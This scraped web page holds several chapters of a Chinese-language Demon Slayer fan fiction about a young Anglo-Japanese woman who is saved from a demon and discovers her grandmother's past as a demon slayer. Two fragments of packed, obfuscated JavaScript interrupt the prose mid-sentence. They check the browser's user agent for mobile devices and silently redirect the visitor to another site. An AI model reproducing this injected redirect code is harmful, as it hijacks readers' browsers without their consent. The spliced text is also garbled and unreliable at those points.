一样什么?我来不及想,眼泪一颗接一颗地顺着眼角流,该死,哭什么!难道我真的要这样死了么……我不敢再挣扎,感官一片空白,寂静冲进我的耳道,在心跳与下一次心跳的间隙,一股清冷的水汽穿梭过浑浊的空气,紧接着一阵流水声打破黑夜的困顿。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613404|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一道光影夹着劲风飞旋而来,一刹那,女人的手擦着我的耳朵往后急退,我的头因为这突然的发力而带着被遽然释放的身体疾速转着向。 “哈?你居然先砍断她一只手?”伴随着脑袋嗡嗡作响,我好像听到有人这样说着…… 黑暗离我只有一毫米,当我再有反应时,腿边正躺着一只纤细又苍白的小臂。 “能坚持到我来,很不错,接下来就交给我吧。” 我是被谁救了么?再回过神来大概用了半分钟,脚底、膝盖和脖颈处的疼痛强制我清醒过来,过度恐惧的后遗症正用无力的四肢彰显方才的凶险,勉强支撑起上半身,我却久久站不起来。 按理来讲,女人应该已经被制服了。然而我再往旁边望,那只小臂已经不见了,连着女人也不见了,这是逃跑了么? 一个男人踩着几乎无声的步伐走到我面前,我故作镇定地整理了一下发型,偷偷将眼角的泪水擦入发际后,深吸一口气,至少让哭腔躲回胸口,抬头质问:“治安警察的效率如此低下,实在是令人失望!这儿明明是闹市,却能出现重大犯罪事件,不应该派更多人严格值守吗?前面的旧巷区已经有个男人死了!” 男人——他没有穿警察制服,而是穿着一件深棕色的对襟上衣,外面拢着一件花哨的外套,对我的一番慷慨陈词也不作任何表情,只是略微讶异地张了张嘴,最后又抿紧。 理智回笼,我对他的态度表示很不满,他也丝毫没有要拉我起来的意思!我只能艰难地用一只手撑着地面站起来,还得分神注意裙子,在手忙脚乱间总觉得有什么液体沿着脖子流下来,是我出汗了么?下意识伸手去摸,指尖触到湿黏的一片,我急忙拿下来查看。 ……一手血是什么意思? 我突然想到女人的手擦着我的耳朵往后急退时,似乎手忙脚乱地抓住了我的耳环,所以我才在空中莫名其妙地转了个向,耳垂痒痒的疼终于成功传至神经中枢。 想到这儿,我不想再理这个男人,便强撑着优雅地转过身去……我的珍珠项链被扯断,洒落一地,耳垂受伤的疼痛是最先的前奏,很快全身都开始跟着疼起来,石子和灰尘扎在我血肉模糊的脚底,膝盖因为狠狠撞击地面,我已经不能好好地站直身子。 寂静像落回地面的灰尘般重归此地,危机离去为我带来的喘息时间将痛感变得越来越明显了,我忍不住想再去摸一摸伤口进行确认,但还没等我触碰到耳垂,我的手腕就被握住了,“如果以后还想华丽地戴耳饰的话现在最好不要碰,会感染的。” 我完全没有注意到他的存在,是另一个身形更高大的男人。 “呃,谢谢您……”话语就这样在脑子转动之前脱口而出了。 被陌生人看到自己最狼狈的一面实在很丢人,我回想起那短短的十分钟、或许只有五分钟,委屈和后怕重新涌上喉咙,我并不想哭的,可是水汽总会上升,眼中的湿润已经模糊了视线,再一眨眼,下睫毛撑不住的泪珠就直接砸了下来。 富冈义勇一脸无辜地望向宇髓天元:我这是被讨厌了么? 7. 因祸得福 从出生到现在,我从未见母亲哭成这样。 她哭得太伤心了,以至于我无法集中精力去消化别的事,即使这会儿我浑身上下疼得厉害,火烧般的余韵正折磨着我的理智——我做了件蠢事——我想伸手去为她擦拭眼泪,又或者只是牵住她的手告诉她没关系。然而我做不到,落下的泪珠没有滴落在我皮肤上就让我感受到灼烫,母亲转过头去,多看一眼我身上的伤口就会有更多止不住的泪水。 全世界都在提醒我别做蠢事,上帝!可是我还是这么做了…… 被急匆匆叫来的家庭医生正在为我耳朵上的伤口消毒,我该庆幸今天戴的耳饰是挂针的款式,留下的并不是很长的伤口,更没有勾裂我的耳垂;然而脚底的伤得好好养一阵子了,石子和灰尘混进了伤口,处理起来比较麻烦。 还有膝盖,擦破皮肤所造成的伤害影响力实在太低了,更多的麻烦来源于我撞击地面获得的淤青,很大一块,才回到家就已经凝成青紫色。现在我连简单的屈膝动作也无法完成了。 外祖父在廊外和父亲谈话,说到激动处他还用拐杖敲了好几下地面,父亲沉默了会儿,露出为难的表情,从那间隙里他看向屋内,看着我、又或者只是看着我身上的伤,最终他伸手抹了抹脸,叹出无比长的一口气。母亲望着我,欲言又止,最终什么也没说,站起来朝廊上走去。 他们三人不断商讨着,互相征求着对方的意见。和室的隔音其实并不好,木推门只虚开了一个小缝,但我什么也听不见,只能隐约猜到可能与我有关,然而此刻我深知自己犯了多大的差错,并不敢插嘴,只能缩在原位等待他们的结果。 用酒精消毒时疼痛差点叫我背过气去,缓了许久感官也没能掩盖痛意。但我这会儿又能说些什么呢,在医生用枯黄色的碘附涂在我腿部的擦伤上时,也只能接受。收拾完毕后医生叮嘱了我几句,我只管闷着头答应,也全未听清他在说什么。 我的心里只有外祖父同我讲的那段往事:外祖母的日轮刀——那把用我从来没有听说过的矿石制作的斩刀,剑鞘和刀柄都黑得发亮,漂亮的东西——他们用那个来斩杀用子弹都无法打死的恶魔?老天!开什么玩笑,那可是杀伤力惊人的子弹。 我不知道自己这会儿的心跳是害怕残留的余音,还是激昂。咚咚咚咚敲打着我的鼓膜,让我又想起刚才的千钧一发…… “你的家在哪里?”用刀斩去那个女人一条手臂的男人,有一头黑色的长发,说得上英俊的脸庞却面无表情,他瞥了一眼我的膝盖,连声音都没有起伏,“你受伤了。” “是的,有眼睛的人都看得出来。”我真不该因此生气的,但惊慌过后对于现状的无法把握正在疯狂鼓动我的情绪,非得叫我用讥讽得到自我宽慰。脚底密密麻麻的疼痛让我难以忍受,我摇摇晃晃地扶住墙壁,尽量将重量转移到尚未出现大伤的手臂上。 “你的家在哪里?”黑头发再一次问。 我翻了个白眼,把视线从那不明所以、不解风情的男人身上移开,望向站在他旁边的男人。他非常高大,穿着一身有些奇怪的服装,倒是显出优越的身材,除此之外引人注意的就是他戴着的漂亮头巾,将白色的头发藏在后面,作为替代垂下两条亮晶晶的装饰挂在耳前,像是镶了钻石,或者水晶什么的……老天,我现在想到水晶就反胃。 他注意到我的目光,挑眉笑道:“您的耳垂还在淌血呢,这样一点也不华丽。” “……”所以治安警察都是有什么站着说话不腰疼的毛病吗?那会儿我全然没觉得他们不是警察,在伦敦时即使是兰德家族也免不了和苏格兰场的猎犬打交道,社交礼貌使我只是腹诽两秒,抬起头回答,“请帮我联系有栖川家。”有栖川虽然算不得顶顶华贵的大姓,但在如今的东京,也仅有有栖川氏这一支活跃在社会中。 “噢,原来是有栖川家的。以前从未见过呢。”钻石头巾做出一副恍然大悟的模样,这时我能看清了,他的左眼周围涂了一圈奇怪的红色花纹。 黑头发又看了一眼我的小腿——我浑身灰扑扑的,真是太狼狈了。他接过钻石头巾的话,诊断道:“她没办法走路了。” 钻石头巾耸肩。 这里离府邸有着一段不近的距离,但如果沿着小路走回去,那不会太远——天啊,哪怕是半个小时之前的我,都会毫无畏惧地走进小巷子里——可是我现在的状况实在不佳,我真怀疑自己能不能完好地走回家中。 在我纠结时,黑头发走到我面前,他高我不少,站得远时没有感觉,等到靠近了我才体会到些许压迫感。他有一双漂亮的蓝眼睛,我抬头看他,还没来得及劳驾他帮我叫一辆人力车,他就握住我的手臂让我在空中绕了半圈将我扛了起来…… 不是,扛了起来!? 什……啊?这出乎预料的状况让我顿时羞得耳朵发烫,小腿僵硬地停在半空——干什么!我是女孩子!而且还穿着侧开衩的长裙,很容易走光的好不好! 我下意识地去扯他头发,大叫:“你做什么!?你怎么可以……” “你没办法走路。”他很快答道。 “不,这不是……关键!你……你怎么能……”我语无伦次,男人的肩膀硌得我不舒服。他没用手掌扶住我,但我没感觉到绅士,因为他走得很快,颠簸得我反胃,为了保证我不会影响到他走路的进度,只用手臂牢牢卡住我的双腿。 显而易见,这令我不仅反胃,还非常……生气!膝盖的伤隐隐作痛,腹部被他那骨骼分明的肩膀撞得疼痛不已,不适感简直要冲上头顶了,我不断捶打男人的后背,叫他放我下来。 “果然是有栖川家的小小姐,伤成这样也很有活力呢。”钻石头巾跟在后面,走出小巷我才看清他有一双梅红色的眼睛,这会儿正盯着我,语气玩味十足——要不是看在他们两个救了我,我真想一拳打在两个人漂亮的脸上(虽然我的拳头可能会有点儿疼)。 “……与你无关。”我皱起眉,一手撑起上半身保持直立,我当然不能放任自己就这么软在黑头发的肩膀上。不过我闹腾了这么久,他的步速怎么没有放慢过?连挟制我的力气都没有减弱。 钻石头巾双手抱胸,并不生气,他咧开嘴,露出里头洁白整齐的牙齿,完美展现了一个好脾气的笑:“富冈,你瞧瞧,你如果听说过那位和主公交情不错的有栖川前辈,就该知道这位小小姐有多么像她了。” 黑头发默了一默,从鼻子里嗯了一声,却没有接上话头多说些什么。 但我当然捕捉到这句话的重点:有栖川前辈……出现在脑海中与之挂钩的第一个人,毫无意义是外祖母。一旦这个念头产生,那么先前我经历的一切都不再寻常了。 我感到很惊讶,也有些恐惧,就像推开门就能看到新世界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613405|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,担忧又疯狂的感受,我没敢再多想,只是不停重新打量着他们,从他们的言行举止,衣着服装……他们并不是治安警察,当我终于亲眼看到他们腰间别的那把刀时,才惊觉这和外祖母画像上的那把有多相似。 “你们……认识我的外祖母么?”我问。 黑头发的脚步顿了顿,但并没有停下来,像之前所展现出的形象一样,他也没有回答我。而那个钻石头巾皱了皱鼻子,他眼睛撇开了些,这是个代表思考的小动作:“有栖川前辈么,是你的外祖母吗?”他终于想到了定义,重新将目光凝聚在我身上,“身为一个女人能做到那种地步,真是非常华丽了。” “那种地步?”我不明所以,“你们同她一起工作?” “哈?算是吧,”钻石头巾惊讶地哼一声,“看来你一点都不了解自己的外祖母,真是失职。” 别的不说,我竟然被他的“失职”说得有些羞愧,以至于连挣扎也忘记了。但他说得不错,我对外祖母的印象真的不深,我从未见过她,很久以前脑海里对她抱有的幻想总是贴近母亲,我以为她是一个端庄优雅的名门闺秀,穿着好看的和服,会插花绘画、弹琴煮茶。 但是再次回到日本后,从外祖父经常看的那张画像、从祠堂里悬挂的照片,又或者所有人只言片语的描述中,我恍然发现外祖母并非这样一个恭顺却毫无特点的女子,她是一个截然不同的人。 黑头发宽慰似的松了一口气,肩膀略微往下沉了沉。所以他觉得有点儿不舒服了,我想,这是别扭的好人的体现么? 总之他们把我一同送到家后,有栖川宅邸整个闹翻了,不论是看到我的状况无比震惊的父母,还是已经就寝却因为我受伤而焦急起床的外祖父,宅邸里侍从们惊慌地跑来跑去,传着声叫道快去请医生,就像沸腾的水咕咚咕咚冒出一连串水泡,我就知道接下来很长一段时间我都脱离不了安全管控了。 直到送走家庭医生后,游廊上的三人才堪堪结束对话。 “朝和,亲爱的,父亲有话同你讲。”母亲说。 他们三人一齐走进房间来时,气压低得可怕。是在外面商量如何处置我鲁莽行事吗?还是从今以后我就要每天学习至少三小时的礼仪课程,关于如何成为一名举止优雅的大小姐?我低落地点点头,有气无力地说:“噢,好的……我正听着呢。” 我要怎么才能习惯告别自由?毕竟我是真的不喜欢听礼仪老师对着我的仪态指指点点,行走时抬首挺胸的角度,搅拌红茶里的方糖时茶匙要怎么转动……或许日本对于大家闺秀的定义不一样?但穿着和服踩着木屐时我已经竭力让自己保持优雅,难道还能更苛刻地对我吗? 天啊!真希望日本的礼仪老师与我在英国时的那位一样容易被气走! 父亲跪坐下来,仍然带着为难的语气,他眉头皱着,从和外祖父站在走廊上争执开始就没松懈下来,仿佛是做了个什么了不得的决定,我只能如同等待审判般侧耳听他缓声道:“……朝和,我们决定要为你配置一把刀。” 什……!? 我吃惊地抬头。什么?要为我配置新刀,钢铁做的那种?在礼仪课上使用吗?这显然是我兴奋过度,连悲伤的想法都没来得及从脑子中抽掉的结果。礼仪老师不会跳起来打我的头吗? ……不,去他的礼仪课!这简直是个惊喜,我因祸得福了! 8. 藤华 父亲要亲自设计我的刀,他对此尤其重视,将之视为一项重任,最终决定和母亲——毕竟他不算是一个善于使用刀剑的人,虽然母亲不懂锻造,但她清楚地知道怎样的日本刀使用起来会更适合我——于是他们便一同回了英国,去寻找合适的原材料。 他们走得很急,坐上时间最近的那趟航船,匆匆离开了。我不知道成品会是怎样,努力想象时脑子里也只有外祖母的那柄日轮刀,但这会儿已经由衷期待:毕竟我会拥有属于自己的刀了! 虽然这也意味着这段时间我要一直和外祖父待在一起,但我并不因此感到紧张,与最初这个瘦削的老人留给我的印象相比,现实的他截然不同。外祖父对我的教育并不遵循日本传统,不会严苛地要求我,更多是希望我尽可能健康快乐。 当我有时不顾礼仪,他也认为无伤大雅,若我表现些什么技能,他也极尽赞美。 仲夏快过去的时候,天气已经炎热起来,庭院里蔷薇谢了有段日子,满地落红里只有枝叶抽长。在几天连绵的阴雨后,晴日终于归来,我身上的伤也终于养得差不多了。擦伤不知是涂抹的药膏效果出众还是伤口在小心翼翼的照料下恢复得很好,总之一点疤都没留下。 耳垂已经不再痛了,但枯红的结痂还没落下,从镜子里看着那里时,我总有些心惊胆战。膝盖上青紫的瘀痕化了许久,先是浓紫,站起时往往伸不直腿,慢慢颜色深得近乎漆黑,疼痛的存在感相当强烈,轻触时被刺激到的神经叫我瞬时清醒过来。 之后瘀伤慢慢变小,颜色也向青色转变,痛感逐渐剥离,直到雨停的今日才算是完全消失。 我走出房门时感到久违的神清气爽,被困在房间里失去自由实在是太令人惋惜了,不便行走与未愈的伤痕让我外出的心情大打折扣,迫不得已只能推去了所有交好的小姐们的邀约,包括夏日祭! 院子里开满绣球,大多是传统的蓝紫色系,间或有一株粉色的夹杂其间,活力满满的小巧花朵在细嫩的枝头涨成饱满的弧度,一枝又一枝挤挨着探出高高的叶丛。 大约是为了应和暑日的来临,外祖父为我新准备的和服也大多以绣球花为主体纹样,配色清新自然。我从前在英国时看过那种美人图,穿着轻便浴衣的女子发髻上簪着秀丽的紫阳花发饰,站在几乎一人高的绣球丛前巧笑倩兮。随着政治的变革,当代日本艺术家不再执着于传统的工笔画,转而向油画、水彩这些新型绘画的方向发展。 父亲爱画画,也爱画,用一个很令人满意的价格买下一些市面上质量不错的日本艺术家的画作,在兰德家是常有的事。我想或许父亲的本意并不在于扶持新的艺术家或艺术流派,而是那些画里天然存在着只有身为日本人的母亲才能感受到的情绪。 就像英国也有绣球,但那些花开得再怎么繁盛,纵然生长到兰德家庄园的屋顶上,也无法替代母亲回忆中庭院里的绣球,更不能比拟此刻我所亲眼看到的景象。 我和外祖父坐着车去往东京郊区,外祖母故去后,坟墓遵循有栖川家的规矩放置在此。汽车只能停在山脚,剩下人工铺就的石板路需要步行向上。 前几日的潮雨似乎没有影响到这里,空气中没有湿沉的水汽,向山腰辗转延伸的台阶上没有苔痕,不算太高的山丘始终保有古旧的森林,不曾被人迹干扰的环境清幽无比,林子里并非万籁俱寂,各种生物活动的迹象处处皆是,但场景中最显眼的当数松木,独特的叶型在微风中招摇,浓郁的绿色遥遥上升。 外祖父走在我前面两阶的位置,我小心翼翼地半提着裙摆,木屐每次踩落时都会后悔没能穿着皮鞋。 “等我死后,也会葬在这里。”外祖父看着面前的石碑,一侧已经篆刻好外祖母的名字,另一侧则空着,等待属于它的主人度过百年。 我站在外祖父身边,静静地看着,这座白色的石塔坐落此间毫无特殊之处,与其他任何保持缄默的墓碑并无不同,皆是有栖川家的一分子。 外祖母的故事是从这时开始的。 她出生在一个侍奉天皇已久的家族,这个家族并不参政,明面上以经营为生,实际却负责一些特别的工作——鬼,这个话题是逃不掉的阴影,在任何时候都能轻易降临。知道它的人并不多,但也没有想象的那么少——被吸干血液而死的人、突发恶疾当众咬人的人、有着诡异外貌躲避太阳的人、在黑夜里时刻准备狩猎平民的人……他们并非是“人”。 他们的存在过于显眼,多年来一直活跃在日本的土地上,但他们时刻记得掩藏自己的马脚。尽管隐藏也不完美。直到近百年来才被官方发现并试图介入,可鬼这种东西与传说中的妖怪不同,哪怕是以人类为食的妖怪,受降后也会屈从于桔梗令的束缚,但鬼在夜间几乎没有敌人,统御鬼?更像一个痴人妄想的梦。 尝试的方法在百年里有千千万万,最终,有栖川家代行天皇的意志,与鬼杀队达成协议,家族成员以鬼杀队剑士的身份行事,共同襄举灭鬼的重任。 鬼杀队剑士,这就是那天在小巷救下我的两个男人的身份。在我受伤第二日,就有听见外祖父安排人前去送上谢礼。 那天我询问他们的身份时,外祖父长久地沉默了,他只是看着外祖母的小像、长久地看着。我几乎以为他不会回答了,家庭医生那时正在给我重新上药,我疼得直吸气,忙不迭将视线扔向除伤口外的任何地方。 “他们是……专门杀鬼的剑士。”外祖父忽然说道。 我惊奇地看向他,他眼角的纹路似乎更深了,正堆叠着,眼皮也快坠下来,那双精明的眼睛被一片浑浊的灰盖住,他缓慢地眨了眨眼,有什么情绪隐藏着,我当然看得一清二楚。 所以那个女人就是鬼……我内心对它的定义得到更新,开始想象它出现的起因。多可怕——我是说,鬼,既不是到处飘荡的死因凄惨的幽灵,也不是受到诅咒或由尸体变成的惧怕银质武器、十字架、圣水甚至大蒜的吸血鬼。她看着毫无异样,除了精神过度兴奋,说着些不明所以的话,却能用巨大的力量抓住我……子弹甚至对她无效!这彻底颠覆我的认知。 黑头发的男人叫“富冈义勇”,戴头巾的男人叫“宇髓天元”,他们都是鬼杀队的成员,甚至是柱级别的。柱是鬼杀队中高级别剑士的称号,每一位柱都是百里挑一,拥有着无与伦比的力量。他们比一般剑士更精于使用手中的日轮刀,身上的羽织是身份的象征——所以他们真的不是治安警察! 我没料到这种听起来不甚正规的组织竟然有着数百人的规模,对于日本的现状更是隐隐有些担忧。 外祖父看透了我的内心。他正在整理怀里抱着的绣球花,这花束是我在家里修剪下来后简单包扎的。 外祖父说要把这束花带给外祖母,我特意选择了开得最盛的几枝,蓝紫色的渐变自然流畅,像极了水彩画的晕染。外祖父蹲下身子将花横放在外祖母墓前,他伸手擦拭过“有栖川妍瑰”这个名字留下的凿痕。 我只知道外祖母在还很年轻的年纪就去世了,有栖川家只剩下一个女儿:我的母亲,而外祖父没有再让从小学习剑道的她加入鬼杀队,甚至宁愿她嫁给父亲,常年远居在无法相见但同样鬼也触碰不到的英国。 所有文件上我的名字都被写作伊凡娜﹒兰德,只有踏上大和这片土地,人们才会称呼我为有栖川朝和。这听起来,与外祖母的家族已经分外遥远了。 外祖母是怎么去世的?没有人告诉我真相,母亲也好,外祖父也罢,他们面对这个话题时统一转开的视线明白地告诉我这是一种逃避。我只能猜测或许外祖母的去世与鬼也有着联系,不然,我身体流着的这一半属于有栖川家的血液不该在听到鬼的时候突然喧噪地流淌。 白石雕刻的墓碑在我的脑海中加深,它变得越来越巨大,无限逼近我的面前,但又在即将压倒我时倏地消失,留给感官的仅剩下某种空虚的死寂。画像中外祖母的脸孔逐渐生动起来,她带着淡淡的笑意,穿着的却是那件棕色的制服,长发被乖顺地束起,最终只有一双棕色的眼睛平静地凝视我。 “朝和,每个人都有自己的使命。”外祖父缓缓站起来,我急忙上前去搀扶住他的手臂。他的苍老随着时间流逝逐渐在身体各个部位体现,躯干活动时机关卡壳般嘎吱嘎吱的动静告诉他:他不再是那个在密林里狂奔的青年。 但我当时并不懂这句话的意义,哪怕外祖父严肃地看着我,就跟我想象中外祖母看着我的样子相同,他的声音跨越过不曾散去的那场浓雾,湿漉漉地来到我身边:“妍瑰有,你和我,也都是一样的。” 一个人会拥有怎样的使命,我不以为意。一个人能做到的事拥有多重受限,古话说天时地利人和,成事往往缺一不可。而我生来就拥有更多。我当然觉得自己的使命会是更重大的,能在转瞬间影响到世界。后来我才知道,这种近乎反人类的自信正是来源于我的年轻,太年轻,太容易相信 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第一次做这个梦后,我醒来时感到浑身酸痛,本就没有完全愈合的耳垂又渗出些许血丝,疼痛吊着心脏一震一震。 “天快黑了!”我晃晃外祖父的手,“我们该回去了吗?” 外祖父点点头,但并没有立刻带着我原路返回。他又向着陵园的边缘走了些,没有填满坟墓的地方单调地种着些植物,往前只能看到树木的冠顶。“朝和,”外祖父拍拍我的手,指着山脚一片被紫色包围的建筑问道,“看到那里了吗?” 我点点头,“看到了。” 那片紫色是什么花?在六月末这样的季节还能盛开成一片海洋,我绞尽脑汁,然而兰德家庄园里会有的蓝花楹在今日也早已谢尽,有栖川家庭院里作为装点的龙胆花还在排队等候花期的降临。“那是什么花?”我问道。 “紫藤。”外祖父回答道,“那里是藤之家。” 咦? 我想起小祠堂前沿着木架编扎成廊道的藤萝,攀升的藤蔓将那一小段路遮蔽得阴凉,春盛时垂坠的紫藤花便一串串挂满,在微风中轻轻晃动着散发淡香,掩映成紫色的通道。 我们刚到日本时见过那样的景象,我常常坐在走廊下,花朵被风送到茶碗里时别有趣味。有着数十年岁数的树枝有我手臂粗细,紧紧扎根着,家里的佣人不太经常清扫,因为紫藤花实在是多得胜似海里的水,数不清也扫不尽,不如留在地上,更有些物哀的美。 但这样的繁荣并不长远,五月过后不久,那些缤纷的紫色并不顺遂人意,很快就洋洋洒洒、毫不留恋地落尽了。 现在已经是六月末,可以说已经不是紫藤的时代了,在近郊竟然还有着这样一片茂盛的花海吗? 直到汽车载着我们驶近,我才确认这是真的。 烟雾般浓郁的紫藤海围绕在一座日式庭院外,层层叠叠流动的紫色氤氲着淡雅的甜香,我不敢相信亲眼所见的景象,更想不出这时紫藤还能盛放不败的原因。 站在茂密的紫藤树间,满目的紫色,铺天盖地,投射进树荫下的光线也被覆上同样的梦幻。每一朵花上都跳跃着快消失的光线,橙红的日轮躲在花后,金斑扑闪,这倒的确像个梦了,至少我想不出更恰当的解释。 司机率先前去敲响藤之家的院门,我便猜到今晚该住宿在此。在车上时外祖父向我介绍藤之家的由来:曾被鬼杀队救过的这个家族追随着鬼杀队剑士们的脚步向着整片日本岛蔓延,建造出以“藤之家”命名的驿站为鬼杀队的成员提供无偿帮助。他们以紫藤花为家纹,会在宅邸外围种满常年不败的紫藤——为什么是紫藤? 外祖父捻起一串花絮,语气淡淡的:“鬼害怕紫藤花。” ……鬼不害怕子弹,却害怕紫藤花。 我不知道这是真是假……啊,我绝无冒犯,也不认为外祖父会在这样的事上同我玩笑,但……说出去真叫人难以理解,火药做不到的事,这华美的花却能做到。 注意到我的视线无法从繁密的藤萝上挪开,管理这处藤之家的婆婆特意剪下一串紫藤花送给我。悬挂花枝的藤茎比我想象的更柔韧,柔弱的花朵在青嫩的枝上左右错生,并不是浑然一体的紫,每朵花上最大的那片花瓣呈现浅白,躲藏在后面的花苞才是迷离的紫。 这显而易见,再怎么看都只是一串花。纵然缤纷万千,花苞汇聚成海,无非由垂下的枝头流淌成倾盆大雨,构筑成汹涌的幕布。幕布而已,层层掀开就能走进。紫藤花又何以提防那些鬼? 9. 浓夜 我睡不着。洗浴后坐在房间里只觉得无聊,庭院里灯火未熄,我推开拉门,散着半干的头发趴在走廊上,那些紫藤的枝头早已压过院墙,沐浴在月光下婆娑起舞。万籁俱寂的夜晚里,只有花叶互触的轻响,构筑成低鸣的白噪音。 藤之家的婆婆把我看作一个孩子,为我们安排晚饭后还特意替我准备了一些点心:染成三色的牡丹饼、小巧的圆形日式馒头,还有一小碟生姜糖。 日本的点心与我从前接触过的甜点实在太不相同了,我说不上喜爱,但也不愿辜负婆婆的好意,能满足尝个味道的新奇也是好的。 月华如洗。 原本安静无声的院落里忽然由远及近地传来些刻意压低的谈话声。硕大的圆月悬在穹顶,即使没有高挂的灯笼,在月色下我依然能够看清眼前的光景。 好奇心驱使我跳下走廊,沿着枯山水弯折的边际往声音的来源走去,努力控制着落步时木屐接触地面的响声。当然没忘了带上那束紫藤。 出现在转角的是藤之家的婆婆与一个男人的背影。一个健硕的身形,半长的金发在深夜里也耀目至极,奇怪的是他那垂在肩后的发尾燃着赤红,痕迹像极了他披在身后的披风上火焰的形状。 男人一只手自然地垂在身侧,一只手则搭在腰间。婆婆神情恭谨地对他微笑,两人轻声说着什么,我没有听见,晚风没把句子带来,但这并不重要。毕竟我的本意也非偷听什么。 我试探着往前再走出半步,尽量不让自己的形象变成隐匿在阴影里偷窥的小人。然而仅是这一小步的变化,那个男人敏锐的感官捕捉到空气中流窜的变动,他留给我的不再是背影,迅速转变成一个映衬在烛光里的侧脸。 一个仅是仓促一眼就能看出他五官优越的侧脸,上扬的粗黑眉毛,金橙色的瞳孔深处荡漾着赤红,高挺的鼻梁下他保持着爽朗的笑容并未改变。他注意到我的存在,便自然地转身向我的方向。 藤之家的婆婆也发现了我。 “啊呀,有栖川小姐,这么晚了还没休息吗?”她笑呵呵地同我打招呼,关切地询问我的情况。这不免让我安心了些,至少说明我的唐突没妨碍他们之间的谈话。 “我还在吃点心。”我解释道。这是真的。 男人正在看我,他并非用眼神轻佻地上下打量我,只是镇定地看着我,似乎用这样普普通通的一眼就能完整地看清我整个人。我收回视线,忐忑地捏住手中的紫藤枝。 他唔了声,作出恍然大悟的样子,主动开口问道:“是有栖川家的孩子吗?”我不能分辨他究竟是在向我确认,还是在询问婆婆。好在婆婆很快接上话头,“正是,和有栖川老爷今天一同来的。” 我这才准备提起裙摆向他致意,但动作直到微微屈膝时才反应过来自己穿着和服,只好临时改作整理振袖,“贵安!”我打招呼时总要看着别人的脸,直视对方往往能获得最重要的眼神交流,这是顺利开启后面话题最重要的依据,“我是有栖川朝和。” 白色披风下对襟的棕色制服边缘整齐地缝着白边,铜色衣扣严谨地扣齐,竖领半遮着脖颈。这身衣服有些眼熟……很快我就知道熟悉感从何而来,因为我注意到他左手并非搭在腰间,而是松松搭着一柄白色的日本刀。外祖母的肖像瞬间闪过大脑,这是鬼杀队的制服,我瞧见他的日轮刀上安装有一枚火焰形状的刀镡。 他了然地点点头,自我介绍名为炼狱杏寿郎。 炼狱。 毫无疑问,是一个听起来就很危险的姓氏。宗教传说中地狱总是业火燎烧,犯有过错的灵魂死后需经这阴火精炼,才能抵消罪恶,得到净化。但听到他姓名的这一刻我只想到火,他发尾的红色,披风上的焰形,甚至那对眼睛,无一不是火焰灼烧后留存的痕迹,而他站在那里,正是一簇鲜活的业火。 我有些后悔。 因为这位炼狱先生给我的感受与众不同。他是鹤立鸡群的独一无二,哪怕声音都带有令人好感倍增的开朗。 不知为何,直觉将他的形象与外祖父口中的“柱”联系在一起,他和那天所见的富冈先生与宇髓先生有些气质上的相似,这是外在的感官可以轻易体会到的:他们都很强大。 我后悔没追问外祖父现在鬼杀队的柱们都有谁。虽然这个消息未必有什么价值,但我总有些在意。 藤之家的婆婆在为炼狱先生安排好卧房后很快就离开了。巧的是,他就住在我隔壁的房间。 外祖父大约已经睡下,房间内并无光线。我躺在被窝时翻来覆去睡不着,只好又坐回走廊上。空气流通的室外叫我耳聪目明,不睡的借口是点心还没吃完,我决不能浪费粮食。在这夜半时分我静坐着,独自思考,但能在大脑留下印象的念头寥寥无几,大多只是飞鸟最柔软的羽绒划过水面的动静,连点大的波澜都掀不起。 那束紫藤花有些蔫儿了。我歪着脑袋仔细地瞧,但思绪很快被脚步声打断。 是炼狱先生!我抬眼望去,看见他带着笑容的脸,立刻端正地坐起身子,脊背挺得笔直。已经干透的长发顺着肩膀滑落胸前时,我下意识用手指耙梳着理到身后,端庄得体,礼仪课的知识被我熟练运用,好想知道我现在究竟是怎么个拘谨的形象,我有点想笑了……我在担心些什么?我自己都有些奇怪这些瞬间蹦出的想法…… 已经走近的炼狱杏寿郎驻足在他的房间前,他目不转睛地看着我,笑容扩大了些。在他开口(或者他其实根本没想说什么)前,我更迅速地叫住他,“炼狱先生!” 他大概没料想我会叫住他,应声后站在原地等待着我的后续,“怎么了吗?有栖川少女!”他这样称呼我,声音清晰明亮,像是把我叫成一个等待他照顾的孩子。我捏了捏自己的指尖,我该说些什么呢?其实本没有什么要说的,现在已经很晚了,朝和,你应该让炼狱先生早点休息! 但我在他的注视下感到难以启齿的羞涩,他也并未表现出丝毫不悦,于是我大着胆子——这究竟是谁分享给我的勇气,我可真幸运——“炼狱先生,可以和您聊一会儿吗?” 老实说我想过他会拒绝,但没想到他答应得这么果断。炼狱杏寿郎不仅爽快地答应了初次见面的我突然的邀请,还神态自然地学着我的样子坐到游廊上。我们这会儿坐得很近了,但距离依然保持在大家会感到舒适的合理范围,这似乎正是他的贴心之处。 “啊……”我得表达自己的谢意,于是将那装着点心的碟子推向他,“请尝尝点心吧!”他的视线顺着我的动作下垂,落到点心上时并无变化,但他没有拒绝:“那我就不客气了。” 他说着,用一支竹签叉起一块牡丹饼。如果说饭团是用米饭包裹着馅料,那么牡丹饼就是用馅料——红豆沙均匀裹在捶打过的糯米团上,咬下时最先尝到软糯的豆沙,紧跟着是保留有部分颗粒质感的饭团,没有调味的糯米中和豆沙的甜腻,口感弹牙。 我吃了完整的一块,胃就在小声宣告饱腹感的靠近。 好的,进展很顺利。我能说点什么?这会儿最重要的果然还得是:“炼狱先生,是鬼杀队的成员吗?”我的目光落到他系在腰上的日轮刀。 